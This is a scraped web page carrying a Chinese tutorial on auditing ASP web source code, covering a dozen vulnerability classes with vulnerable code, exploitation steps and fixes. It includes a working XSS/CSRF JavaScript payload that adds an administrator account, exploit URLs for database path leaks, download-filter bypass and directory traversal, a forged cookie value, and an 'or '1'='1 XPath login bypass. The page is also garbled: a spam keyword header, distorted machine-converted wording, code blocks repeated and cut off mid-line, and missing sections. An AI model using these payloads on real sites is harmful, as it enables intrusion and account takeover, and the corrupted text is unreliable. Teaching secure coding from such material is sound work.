国产精品香蕉在线观看网,亚洲欧美精品综合在线观看,亚洲不卡av一区二区无码不卡,亚洲日本精品国产第一区二区

移動安全 安全管理 應(yīng)用案例 網(wǎng)絡(luò)威脅系統(tǒng)安全 應(yīng)用安全 數(shù)據(jù)安全 云安全
當(dāng)前位置: 主頁 > 信息安全 > 系統(tǒng)安全 >

Web源碼安然審計之 ASP 篇

時間:2014-01-13 11:42來源:TuZhiJiaMi企業(yè)信息安全專家 點擊:
0×01 ASP簡介: ASP是一種辦事器端腳本編寫環(huán)境,可以用來成立和運步履態(tài)網(wǎng)頁或Web利用法度。ASP網(wǎng)頁可以包含HTML標(biāo)識表記標(biāo)幟、通俗文本、腳本號令和COM組件等。操縱ASP可以向網(wǎng)頁中添加交互
Tags系統(tǒng)安全(735)安全審計(18)Web源碼(1)ASP(1)  

  0×01 ASP簡介:

  ASP是一種辦事器端腳本編寫環(huán)境,可以用來成立和運步履態(tài)網(wǎng)頁或Web利用法度。ASP網(wǎng)頁可以包含HTML標(biāo)識表記標(biāo)幟、通俗文本、腳本號令和COM組件等。操縱ASP可以向網(wǎng)頁中添加交互式內(nèi)容(如在線表單),也能夠成立利用HTML網(wǎng)頁作為用戶界面的web利用法度。

  0×02 ASP縫隙介紹:

  一.數(shù)據(jù)庫路徑泄漏 (DataBase Path Leak)

  概述:數(shù)據(jù)庫路徑泄漏首要表示在ASP+Access搭建的WEB中,當(dāng)報復(fù)打擊者提交%5c的時辰,IIS會解析弊端,導(dǎo)致輸出了真實數(shù)據(jù)庫路徑, %5c是\的十六進(jìn)制代碼,也就是\的另外一種暗示編制。

  縫隙道理:我們在提交數(shù)據(jù)的時辰,IE會主動把%5c轉(zhuǎn)換成/,從而獲得統(tǒng)一地址。在asp類型網(wǎng)站中,城市用到一個數(shù)據(jù)庫連接的文件,名字通常為conn.asp。

  縫隙代碼:這里我用動力文章系統(tǒng)做案例,代碼以下:

  <%

  dim conn

  dim connstr

  dim db

  db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb" '數(shù)據(jù)庫文件的位置

  Set conn = Server.CreateObject("ADODB.Connection")

  connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)

  conn.Open connstr

  %>  dim conn

  dim connstr

  dim db

  db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb" '數(shù)據(jù)庫文件的位置

  Set conn = Server.CreateObject("ADODB.Connection")

  connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)

  conn.Open connstr

  %>  dim conn

  dim connstr

  dim db

  db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb" '數(shù)據(jù)庫文件的位置

  Set conn = Server.CreateObject("ADODB.Connection")

  connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)

  conn.Open connstr

  %>

  縫隙操縱:當(dāng)拜候http://www.aspmps.com/cn%5cconn.asp IIS就會報錯將數(shù)據(jù)庫盡對路徑輸出到客戶端,以下圖所示

  當(dāng)數(shù)據(jù)庫路徑被泄漏,報復(fù)打擊者便可以將數(shù)據(jù)庫下載到本地,找到表中的后臺治理員賬戶和暗碼,如許便可以輕松進(jìn)進(jìn)網(wǎng)站的后臺治理,此縫隙只針對ACCESS數(shù)據(jù)庫,SQL server數(shù)據(jù)庫不受影響。 動力系統(tǒng)的暴庫標(biāo)題問題已久,往年360公司為此發(fā)布一則通知布告,多家媒體都有轉(zhuǎn)載 鏈接地址:http://tech.163.com/digi/12/0312/15/7SDHI0LJ00163HE0.html。

  縫隙修復(fù):修補(bǔ)此縫隙的編制有2種,第一種在conn.open connstr 代碼之前加進(jìn) On Error Resume Next ,第二種編制在IIS辦事器建設(shè)選項當(dāng)選擇“向客戶端發(fā)送以下文本弊端動靜”。以下圖2

Web源碼安然審計之ASP篇

  

  Web源碼安然審計之ASP篇(2) - 51CTO.COM

  

  三.跨站要求捏造報復(fù)打擊(Cross Site Request Forgery)

  概述:CSRF是Cross Site Request Forgery的縮寫,直譯過來就是跨站要求捏造的意思,凡是常利用來指 WEB 網(wǎng)站的這一類縫隙,即在某個歹意站點的頁面上,促使拜候者要求你的網(wǎng)站的某個 URL ,從而達(dá)到改變辦事器端數(shù)據(jù)的目標(biāo)。

  縫隙道理:連絡(luò)跨站縫隙,操縱JS腳本代碼,做治理員身份才能做的事,但這類動作非治理員本身的要求。

  縫隙代碼:此系統(tǒng)中有個安然過濾函數(shù)HTMLEncode,代碼以下:

  Public Function HTMLEncode(str)

  If Not IsNull(str) Then

  str = Replace(str, Chr(38), "&")

  str = Replace(str, "<", "<")

  str = Replace(str, ">", ">")

  str = Replace(str, Chr(9), " ")

  str = Replace(str, Chr(32), " ")

  str = Replace(str, Chr(34), """)

  str = Replace(str, Chr(39), "'")

  str = Replace(str, Chr(13) & Chr(10), "

  ")

  str = Replace(str, Chr(10), "

  ")

  str = Replace(str, Chr(13), "

  ")

  HTMLEncode = str

  End If

  End Function

  //以下是縫隙關(guān)頭點

  Content = ""

  For i = 1 To Request.Form("Content").Count

  Content = Content & Request.Form("Content")(i)

  Next

  ………… //省略部門代碼

  rs("Guest_ZIP")=HTMLEncode(Guest_ZIP)

  rs("Guest_TEL")=HTMLEncode(Guest_TEL)

  rs("Guest_FAX")=HTMLEncode(Guest_FAX)

  rs("Content")=Content

  rs.Update

  上述代碼中Content變量顛末Request.Form獲得后并沒有像Guest_FAX變量如許顛末HTMLEncode過濾。

  縫隙操縱:操縱編制如圖所示

Web源碼安然審計之ASP篇

  Xss.js腳本感化是履行添加一個新的治理員topsec。代碼以下:

  var request = false;

  if(window.XMLHttpRequest) {

  request = new XMLHttpRequest();

  if(request.overrideMimeType) {

  request.overrideMimeType('text/xml');

  }

  } else if(window.ActiveXObject) {

  var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

  for(var i=0; i

  try {

  request = new ActiveXObject(versions[i]);

  } catch(e) {}

  }

  }

  xmlhttp=request;

  add_admin();

  function add_admin(){

  var url="/admin/SysAdmin_Add.asp?Action=SysAdmin_Add";

  var params ="SiteControl_LoginName=topsec&SiteControl_LoginPass=123456&SiteControl_RealName=topsec&imageField.x=24&imageField.y=8";

  xmlhttp.open("POST", url, true);

  xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

  xmlhttp.setRequestHeader("Content-length", params.length);

  xmlhttp.setRequestHeader("Connection", "close");

  xmlhttp.send(params);

  }

  植進(jìn)如圖所示的一段代碼后,當(dāng)治理員進(jìn)進(jìn)后臺往查看此留言的時辰就會觸發(fā)該縫隙,系統(tǒng)會主動給我們加上賬戶為topsec,暗碼為123456的治理員。

  縫隙修復(fù):加進(jìn)token認(rèn)證,修復(fù)前臺跨站縫隙。

  四.肆意文件下載(Arbitrary File Download)

  概述:假定系統(tǒng)存在stream流模式下載模塊,而對應(yīng)下載文件的地址沒有做過安然過濾措置,則會產(chǎn)生任何文件都可被下載的安然隱患,在windows平臺下此標(biāo)題問題加倍嚴(yán)重。

  縫隙道理:Windows系統(tǒng)撐持“.asp+空格”和“.asp+.”劃一于“.asp”文件,假定存鄙人載模塊未加驗證,則可以下載肆意文件。

  縫隙代碼:下面以沸騰展看系統(tǒng)經(jīng)典下載縫隙源碼做介紹。關(guān)頭源碼以下:

  <%

  Dim Stream

  Dim Contents

  Dim FileName

  Dim TrueFileName

  Dim FileExt

  Dim SavePath

  Const adTypeBinary = 1

  FileName = Request.QueryString("FileName")

  If FileName = "" Then

  Response.Write "無效文件名!"

  Response.End

  End if

  FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)

  Select Case UCase(FileExt)

  Case "ASP", "ASA", "ASPX", "ASAX", "MDB"

  Response.Write "不法把持!"

  Response.End

  End Select

  Response.Clear

  if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then

  Response.ContentType = "image/*" '對圖象文件不呈現(xiàn)下載對話框

  else

  Response.ContentType = "application/ms-download"

  end if

  Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))

  Set Stream = server.CreateObject("ADODB.Stream")

  Stream.Type = adTypeBinary

  Stream.Open

  SavePath = FileUploadPath '存放上傳文件的目次

  TrueFileName = SavePath & FileName

  Stream.LoadFromFile Server.MapPath(TrueFileName)

  While Not Stream.EOS

  Response.BinaryWrite Stream.Read(1024 * 64)

  Wend

  Stream.Close

  Set Stream = Nothing

  Response.Flush

  Response.End

  %>  Dim Stream

  Dim Contents

  Dim FileName

  Dim TrueFileName

  Dim FileExt

  Dim SavePath

  Const adTypeBinary = 1

  FileName = Request.QueryString("FileName")

  If FileName = "" Then

  Response.Write "無效文件名!"

  Response.End

  End if

  FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)

  Select Case UCase(FileExt)

  Case "ASP", "ASA", "ASPX", "ASAX", "MDB"

  Response.Write "不法把持!"

  Response.End

  End Select

  Response.Clear

  if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then

  Response.ContentType = "image/*" '對圖象文件不呈現(xiàn)下載對話框

  else

  Response.ContentType = "application/ms-download"

  end if

  Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))

  Set Stream = server.CreateObject("ADODB.Stream")

  Stream.Type = adTypeBinary

  Stream.Open

  SavePath = FileUploadPath '存放上傳文件的目次

  TrueFileName = SavePath & FileName

  Stream.LoadFromFile Server.MapPath(TrueFileName)

  While Not Stream.EOS

  Response.BinaryWrite Stream.Read(1024 * 64)

  Wend

  Stream.Close

  Set Stream = Nothing

  Response.Flush

  Response.End

  %>  Dim Stream

  Dim Contents

  Dim FileName

  Dim TrueFileName

  Dim FileExt

  Dim SavePath

  Const adTypeBinary = 1

  FileName = Request.QueryString("FileName")

  If FileName = "" Then

  Response.Write "無效文件名!"

  Response.End

  End if

  FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)

  Select Case UCase(FileExt)

  Case "ASP", "ASA", "ASPX", "ASAX", "MDB"

  Response.Write "不法把持!"

  Response.End

  End Select

  Response.Clear

  if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then

  Response.ContentType = "image/*" '對圖象文件不呈現(xiàn)下載對話框

  else

  Response.ContentType = "application/ms-download"

  end if

  Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))

  Set Stream = server.CreateObject("ADODB.Stream")

  Stream.Type = adTypeBinary

  Stream.Open

  SavePath = FileUploadPath '存放上傳文件的目次

  TrueFileName = SavePath & FileName

  Stream.LoadFromFile Server.MapPath(TrueFileName)

  While Not Stream.EOS

  Response.BinaryWrite Stream.Read(1024 * 64)

  Wend

  Stream.Close

  Set Stream = Nothing

  Response.Flush

  Response.End

  %>

  上述代碼粗體部門是縫隙構(gòu)成的關(guān)頭代碼,起首法度經(jīng)由過程 Request.QueryString(“FileName”) 編制指定肆意文件名,當(dāng)然法度鄙人面鑒定了文件后綴名,可是并沒有對后綴名進(jìn)行安然措置,導(dǎo)致客戶端可以在后綴名以后加上空格的URL編碼從而繞過法度的驗證,文件被下載。

  縫隙操縱:操縱編制以下圖

Web源碼安然審計之ASP篇

  如圖上所示當(dāng)報復(fù)打擊者在瀏覽器的地址欄中輸進(jìn)“down.asp?filename=./cn/index.asp%20”, %20就是顛末URL編碼后的空格,%2E就是顛末URL編碼后的“.”,提交后迅雷就會提示下載。

  縫隙修復(fù):修補(bǔ)的編制也很簡單,下載文件前最好帶進(jìn)數(shù)據(jù)庫查詢,存在則下載。還有種編制,用正則表達(dá)式往限制。

  

  Web源碼安然審計之ASP篇(5) - 51CTO.COM

  

  六.Cookies棍騙(Cookies Spoofing)

  概述:在只對用戶做Cookies驗證的系統(tǒng)中,經(jīng)由過程點竄Cookies的內(nèi)容來獲得響應(yīng)的用戶權(quán)限登錄。Cookies棍騙在進(jìn)侵中經(jīng)常常利用到,經(jīng)由過程點竄Cookies的內(nèi)容來獲得響應(yīng)的用戶權(quán)限登錄,從而達(dá)到報復(fù)打擊的目標(biāo)。

  縫隙道理:到底甚么是Cookies,它有甚么感化呢?Cookies是一種可以或許讓網(wǎng)站辦事器把少量數(shù)據(jù)儲存到客戶端的硬盤或內(nèi)存,或是從客戶端的硬盤讀取數(shù)據(jù)的一種手藝。Cookies是當(dāng)你瀏覽某網(wǎng)站時,由Web辦事器置于你硬盤上的一個很是小的文本文件,它可以記實你的用戶ID、暗碼、瀏覽過的網(wǎng)頁、逗留的時候等信息。

  縫隙代碼:接下來仍是以自由動力文章系統(tǒng)做案例,拜候后臺文件UploadSoft.asp必需經(jīng)由過程授權(quán)驗證,此法度經(jīng)由過程Cookies驗證造成了安然隱患。沒設(shè)置Cookies之前如圖所示

Web源碼安然審計之ASP篇

  關(guān)頭代碼以下:

  <%

  if session("AdminName")="" and request.Cookies("asp163")("UserName")="" then

  response.Write("請登錄后再利用本功能!")

  else

  select case upload_type

  case 0

  call upload_0() '利用化境無組件上傳類

  case else

  response.write "本系統(tǒng)未開放插件功能"

  response.end

  end select

  end if

  %>  if session("AdminName")="" and request.Cookies("asp163")("UserName")="" then

  response.Write("請登錄后再利用本功能!")

  else

  select case upload_type

  case 0

  call upload_0() '利用化境無組件上傳類

  case else

  response.write "本系統(tǒng)未開放插件功能"

  response.end

  end select

  end if

  %>  if session("AdminName")="" and request.Cookies("asp163")("UserName")="" then

  response.Write("請登錄后再利用本功能!")

  else

  select case upload_type

  case 0

  call upload_0() '利用化境無組件上傳類

  case else

  response.write "本系統(tǒng)未開放插件功能"

  response.end

  end select

  end if

  %>

  代碼中IF語句鑒定有標(biāo)題問題,假定Session和Cookies值都為空則不克不及繼續(xù)履行,不然可以調(diào)用上傳函數(shù)upload_0()。 那報復(fù)打擊者只需要做到知足Cookies值不為空便可以調(diào)用上傳函數(shù)了,這個上傳函數(shù)在上一節(jié)已提到過存在變量繼續(xù)上傳縫隙,這兩個縫隙連續(xù)絡(luò)風(fēng)險就很大年夜了。

  縫隙操縱:用火狐插件點竄成asp163=UserName=asp設(shè)置Cookies后以下圖所示

Web源碼安然審計之ASP篇

  如許就繞過了Cookies的驗證,造成可以上傳文件,為后來變量繼續(xù)縫隙的成功實現(xiàn)創(chuàng)作發(fā)現(xiàn)了前提。

  縫隙修復(fù):可以加密Cookies,后臺關(guān)頭文件最好用Session往驗證。

  七.本地文件包含(Local File Inclusion)

  概述:ASP Execute編制的感化是履行一個來自于其他ASP文件內(nèi)部的ASP法度。

  縫隙道理:當(dāng)其他ASP文件內(nèi)的法度被要求履行終了以后,節(jié)制器將返回最初發(fā)出要求的原始ASP文件。與PHP包含縫隙不合的是Execute編制只能包含本地文件。

  縫隙代碼:

  <%Server.Execute(Request.QueryString("file"))%>

  equest編制獲得的參數(shù)file沒顛末安然措置,被Execute編制履行了。

  縫隙操縱:若某個利用法度不存在上傳縫隙,那么報復(fù)打擊者可以上傳個正常圖片格局的文件,文件中包換ASP腳本代碼,這時候辰便可以用本地包含縫隙往履行圖片中的ASP代碼。以下圖所示

  假定jpg里寫進(jìn)的ASP小馬,那便可以輕松獲得一個WebShell。

  縫隙修復(fù):盡可能系統(tǒng)指定履行文件,不要讓客戶端提交參數(shù),其實需要動態(tài)改變參數(shù),可以輔助一個匹配文件,若客戶端提交的參數(shù)在文件中呈現(xiàn),則可以履行,不然不承諾繼續(xù)履行。

  八.路徑操控(Path Manipulation)

  概述:用戶輸進(jìn)節(jié)制 file system 把持所用的路徑,借此報復(fù)打擊者可以拜候或點竄其他受呵護(hù)的系統(tǒng)資本。

  縫隙道理:當(dāng)知足以下兩個前提時,就會產(chǎn)生path manipulation 弊端:

  1. 報復(fù)打擊者可以或許指定某一 file system把持中所利用的路徑。

  2. 報復(fù)打擊者可以經(jīng)由過程指定特定資本來獲得某種權(quán)限,而這類權(quán)限在一般環(huán)境下是不成能獲得的。

  縫隙代碼:下面以經(jīng)典的Ewebeditor編纂器做闡發(fā),在編纂器文件治理處存在一個路徑操控縫隙,報復(fù)打擊者可以指定路徑的讀取范圍,造成安然隱患。

  <%

  Function InitParam()

  sStyleID = Trim(Request("id"))

  sUploadDir = ""

  If IsNumeric(sStyleID) = True Then

  sSql = "select S_UploadDir from eWebEditor_Style where S_ID=" & sStyleID

  oRs.Open sSql, oConn, 0, 1

  If Not oRs.Eof Then

  sUploadDir = oRs(0)

  End If

  oRs.Close

  End If

  If sUploadDir = "" Then

  sStyleID = ""

  Else

  sUploadDir = Replace(sUploadDir, "\", "/")

  If Right(sUploadDir, 1) <  Function InitParam()

  sStyleID = Trim(Request("id"))

  sUploadDir = ""

  If IsNumeric(sStyleID) = True Then

  sSql = "select S_UploadDir from eWebEditor_Style where S_ID=" & sStyleID

  oRs.Open sSql, oConn, 0, 1

  If Not oRs.Eof Then

  sUploadDir = oRs(0)

  End If

  oRs.Close

  End If

  If sUploadDir = "" Then

  sStyleID = ""

  Else

  sUploadDir = Replace(sUploadDir, "\", "/")

  If Right(sUploadDir, 1) <  Function InitParam()

  sStyleID = Trim(Request("id"))

  sUploadDir = ""

  If IsNumeric(sStyleID) = True Then

  sSql = "select S_UploadDir from eWebEditor_Style where S_ID=" & sStyleID

  oRs.Open sSql, oConn, 0, 1

  If Not oRs.Eof Then

  sUploadDir = oRs(0)

  End If

  oRs.Close

  End If

  If sUploadDir = "" Then

  sStyleID = ""

  Else

  sUploadDir = Replace(sUploadDir, "\", "/")

  If Right(sUploadDir, 1) <> "/" Then

  sUploadDir = sUploadDir & "/"

  End If

  End If

  sCurrDir = sUploadDir

  ' 樣式下的目次

  sDir = Trim(Request("dir"))

  If sDir <> "" Then

  If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then

  sCurrDir = sUploadDir & sDir & "/"

  Else

  sDir = ""

  End If

  End If

  End Function

  %>

  若報復(fù)打擊者想操縱此縫隙需要知足2個前提,第一sStyleID這個值不克不及為空,并且是數(shù)據(jù)庫中存在的ID號。第二 sDir 這個變量沒有顛末任何安然措置,帶進(jìn)到 sCurrDir 變量中,只是最后不需要輸進(jìn)“/”。

  縫隙操縱:admin_uploadfile.asp?id=22&dir=../.. 履行后將跳轉(zhuǎn)到2個上級目次下,報復(fù)打擊者可以刪除肆意文件和文件夾。以下圖所示

Web源碼安然審計之ASP篇

  縫隙修復(fù):針對此縫隙建議用Replace函數(shù)過濾掉落“..” 。

  九.表單提交棍騙(Spoofed Form Submit)

  概述:表單提交是當(dāng)前Web利用中的首要內(nèi)容,用戶可以經(jīng)由過程這類編制與辦事器進(jìn)行數(shù)據(jù)傳遞。在凡是環(huán)境下,會在提交表單之前在辦事器長進(jìn)行表單數(shù)據(jù)的驗證,如許可以節(jié)流辦事器資本,但同時也為辦事器帶來了安然縫隙。

  縫隙道理:顧名思義Web法度只是在客戶端用JavaScript驗證了合法性,并沒有在辦事端驗證數(shù)據(jù)的合法性。

  縫隙代碼:下面以上傳頁面做為案例闡發(fā)

  縫隙操縱:報復(fù)打擊者只需要禁用瀏覽器中的勾當(dāng)腳本和Javascript腳本便可以策動一次報復(fù)打擊。禁用以下圖所示:

Web源碼安然審計之ASP篇

  第二種編制建造個HTML頁面,只需將JS腳本刪除,再將Action值改成需要報復(fù)打擊的方針網(wǎng)址便可。

  縫隙修復(fù):客戶端和辦事端都要做驗證,客戶端做驗證能進(jìn)步用戶體驗,辦事端再驗證能包管數(shù)據(jù)安然。

  十.Http要求捏造(Spoofed HTTP Request)

  概述:一個比棍騙表單更高級和復(fù)雜的報復(fù)打擊編制是HTTP要求棍騙。這給了報復(fù)打擊者完全的節(jié)制權(quán)與矯捷性,它進(jìn)一步證實了不克不及盲目信賴用戶提交的任何數(shù)據(jù)。看到大年夜大都瀏覽器會包含一個來歷的URL值,你可能會試牟利用Request.ServerVariables(“HTTP_REFERER”)變量往避免棍騙。確切,這可以用于對操縱尺度瀏覽器倡議的報復(fù)打擊,但報復(fù)打擊者是不會被這個小麻煩給蓋住的。經(jīng)由過程編纂HTTP要求的原始信息,報復(fù)打擊者可以完全節(jié)制HTTP頭部的值,GET和POST的數(shù)據(jù),和所有在HTTP要求的內(nèi)容。

  縫隙道理:經(jīng)由過程Request.ServerVariables 往驗證數(shù)據(jù)來歷的合法性,還是不成靠,事實一切從Request獲得的值都可以被捏造出來的。

  縫隙代碼:下面以ASP中經(jīng)典驗證來歷的代碼做闡發(fā)

  <%

  Dim From_url , Serv_url

  From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))

  Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))

  If Mid(From_url,8,Len(Serv_url)) <  Dim From_url , Serv_url

  From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))

  Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))

  If Mid(From_url,8,Len(Serv_url)) <  Dim From_url , Serv_url

  From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))

  Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))

  If Mid(From_url,8,Len(Serv_url)) <> Serv_url then

  Response.Write "不法鏈接!"

  Response.End

  End if

  %>

  上述代碼中2個鑒定的值均來自客戶端環(huán)境變量,鑒定思路是方針地址和來歷地址的域名是不是一致,不一致則覺得是不法拜候,這段代碼常常利用于防盜鏈模塊中。

  縫隙操縱:用法HTTP代辦署理軟件機(jī)關(guān)一個特定的數(shù)據(jù)包,在HTTP頭加上Referer 。以下圖所示

  縫隙修復(fù):驗證數(shù)據(jù)來歷的真實性仍是應(yīng)當(dāng)放在辦事端,Request變量獲得的值都是不成靠的。

  十一.代碼注進(jìn)(Code Injection)

  概述:良多現(xiàn)代編程說話都承諾動態(tài)解析源代碼指令。 假定法度員需要由用戶供給的指令對數(shù)據(jù)把持,這類環(huán)境下可以利用這類功能。當(dāng)然,我們更愿意操縱底層說話機(jī)關(guān),而不是經(jīng)由過程履行代碼來解析用戶輸進(jìn)。 由用戶供給的指令預(yù)期履行一些無害的把持,例如,對當(dāng)前的用戶對象進(jìn)行簡單計較或點竄用戶對象的狀況,等等。但是,假定法度員不敷細(xì)心,用戶指定的把持范圍可能會超出法度員最初的假想。

  縫隙道理:ASP利用法度中若存在Eval ,Execute ,ExecuteGlobal 函數(shù)利用時,要非分出格寄望它們的利用環(huán)境,若從外部獲得參數(shù),沒有顛末安然措置 就會造成安然隱患。Eval() 計較表達(dá)式的值,并且返回一個成果,Execute() 履行一個或多個指定的語句。多個語句間用冒號(:)隔開 ,ExecuteGlobal() 在全局名字空間中履行一個或多個指定的語句。

  縫隙代碼:

  <%=Eval(Request("parma"))%>

  上述代碼用戶提交parma的編制有GET,POST,COOKIE三種,報復(fù)打擊者可以精心計表情關(guān)出ASP的小馬提交便可以履行,安然隱患相昔時夜,在源碼審計的過程中要額外寄望它們的利用。

  縫隙操縱:

  若報復(fù)打擊者給parma參數(shù)值便是VB里的Now()函數(shù),就會把當(dāng)前的時候輸出出來,這里代碼用Eval函數(shù)履行的,若是Execute 和 ExecuteGlobal函數(shù)則不會輸出到網(wǎng)頁中。

  縫隙修復(fù):謹(jǐn)嚴(yán)利用此三個函數(shù),若需要動態(tài)履行,則只讓用戶輸進(jìn)和本地文件中匹配的字符,若不匹配則不成以履行。

  十二.XML中的XPATH注進(jìn)(Xpath Injection)

  概述:Xml文檔存儲數(shù)據(jù)時,若查詢數(shù)據(jù)不顛末安然過濾也會和關(guān)系型數(shù)據(jù)庫一樣,產(chǎn)生注進(jìn)縫隙,在這里我們總結(jié)成XPATH注進(jìn)縫隙,在這里它更像是ACCESS數(shù)據(jù)庫。

  縫隙道理: 猶如Access數(shù)據(jù)庫一樣,XML文檔只是保留數(shù)據(jù)用的,若法度對用戶提交的數(shù)據(jù)沒有顛末安然措置,則會導(dǎo)致安然標(biāo)題問題,在這里最多見的莫過于經(jīng)典的全能暗碼。

  縫隙代碼:

  <%

  function SelectXmlNodeText(elementname,elementpass)

  On Error Resume Next

  elementname="http://"&"root/row[name='"&elementname&"' and password='"&elementpass&"']"

  temp = XMLMorntekDocument.selectSingleNode(elementname).text

  If temp <  function SelectXmlNodeText(elementname,elementpass)

  On Error Resume Next

  elementname="http://"&"root/row[name='"&elementname&"' and password='"&elementpass&"']"

  temp = XMLMorntekDocument.selectSingleNode(elementname).text

  If temp <  function SelectXmlNodeText(elementname,elementpass)

  On Error Resume Next

  elementname="http://"&"root/row[name='"&elementname&"' and password='"&elementpass&"']"

  temp = XMLMorntekDocument.selectSingleNode(elementname).text

  If temp <> "" Then

  Session("UserName") = "asp163"

  Response.Write("Welcome , Sysadmin")

  Else

  Response.Redirect("/admin/Login.asp")

  end if

  end function

  ConnectXml("../admin.xml")

  Call SelectXmlNodeText(Request("name"),Request("pass"))

  %>

  上述代碼實現(xiàn)的是一個后臺治理驗證的功能,admin.xml文件位于站點根目次以外,沒法用Http編制下載。法度對Request對象獲得來的數(shù)據(jù)沒有顛末安然過濾,導(dǎo)致了經(jīng)典全能暗碼繞過縫隙。

  縫隙操縱:

  報復(fù)打擊者提交Name和Pass都是“’or ’1′=’1”時辰,XML查詢節(jié)點就變成 “//root/row[name=''or '1'='1' and password=''or '1'='1']” OR語句 闡揚了重大年夜感化,只要一個前提為真便可以知足繞過的前提。

  縫隙修復(fù):和SQL打針一樣,需要對客戶端提交過來的數(shù)據(jù)進(jìn)行過濾,在本案例中可以過濾掉落單引號便可。

  

  數(shù)據(jù)庫路徑泄漏首要表示在ASP+Access搭建的WEB中,當(dāng)報復(fù)打擊者提交%5c的時辰,IIS會解析弊端,導(dǎo)致輸出了真實數(shù)據(jù)庫路徑, %5c是\的十六進(jìn)制代碼,也就是\的另外一種暗示編制。

  AD:

  十三.SQL打針(SQL Injection)

  概述:今朝沒有對SQL注進(jìn)手藝的尺度定義,微軟中國手藝中間從2個方面進(jìn)行了描述:

  (1) 腳本注進(jìn)式的報復(fù)打擊

  (2) 歹意用戶輸進(jìn)用來影響被履行的SQL腳本

  SQL注進(jìn)報復(fù)打擊操縱的是SQL語法,這使得這類報復(fù)打擊具有遍及性。理論上說,對所有基于SQL說話尺度的數(shù)據(jù)庫軟件包含SQL Server,Oracle,MySQL, ACCESS,DB2,Informix等和與之連接的收集利用法度包含Active/Java Server Pages, PHP或Perl等都是有效的。當(dāng)然各類軟件有本身的特點,實際的報復(fù)打擊代碼可能不盡不異。

  縫隙道理: 經(jīng)由過程客戶端發(fā)送SQL語句,可以查詢,更新,刪除 數(shù)據(jù)庫中的數(shù)據(jù),此縫隙是ASP下最為風(fēng)行的縫隙。報復(fù)打擊者可以經(jīng)由過程GET,POST,COOKIE,SERVER提交肆意數(shù)據(jù),若數(shù)據(jù)庫是SQL Server數(shù)據(jù)庫,則縫隙風(fēng)險性更大年夜。

  縫隙代碼:

  <%

  Set rs = Server.CreateObject("ADODB.RecordSet")

  sqlString="SELECT * FROM News WHERE Id=" & Request.QueryString("id")

  rs.Open sqlString, Conn, 1, 1

  %>  Set rs = Server.CreateObject("ADODB.RecordSet")

  sqlString="SELECT * FROM News WHERE Id=" & Request.QueryString("id")

  rs.Open sqlString, Conn, 1, 1

  %>  Set rs = Server.CreateObject("ADODB.RecordSet")

  sqlString="SELECT * FROM News WHERE Id=" & Request.QueryString("id")

  rs.Open sqlString, Conn, 1, 1

  %>

  縫隙操縱:

  縫隙修復(fù):對獲得的數(shù)字型變量用Clng函數(shù)轉(zhuǎn)換,對字符型用Replace函數(shù)過濾單引號。

  0×03 總結(jié):

  ASP顛末這么多年還能聳峙不倒,除本身易學(xué)易用性以外,還有搭配的ACCESS數(shù)據(jù)庫便利移植的特點,讓良多法度員在選擇為中小網(wǎng)站做開辟的時辰首選ASP。掌控這些ASP縫隙對開辟者來講是相當(dāng)有需要的,只有如許才能寫出更強(qiáng)大年夜安然的利用法度,才能促進(jìn)全部互聯(lián)網(wǎng)的安然與開放。

------分隔線----------------------------

推薦內(nèi)容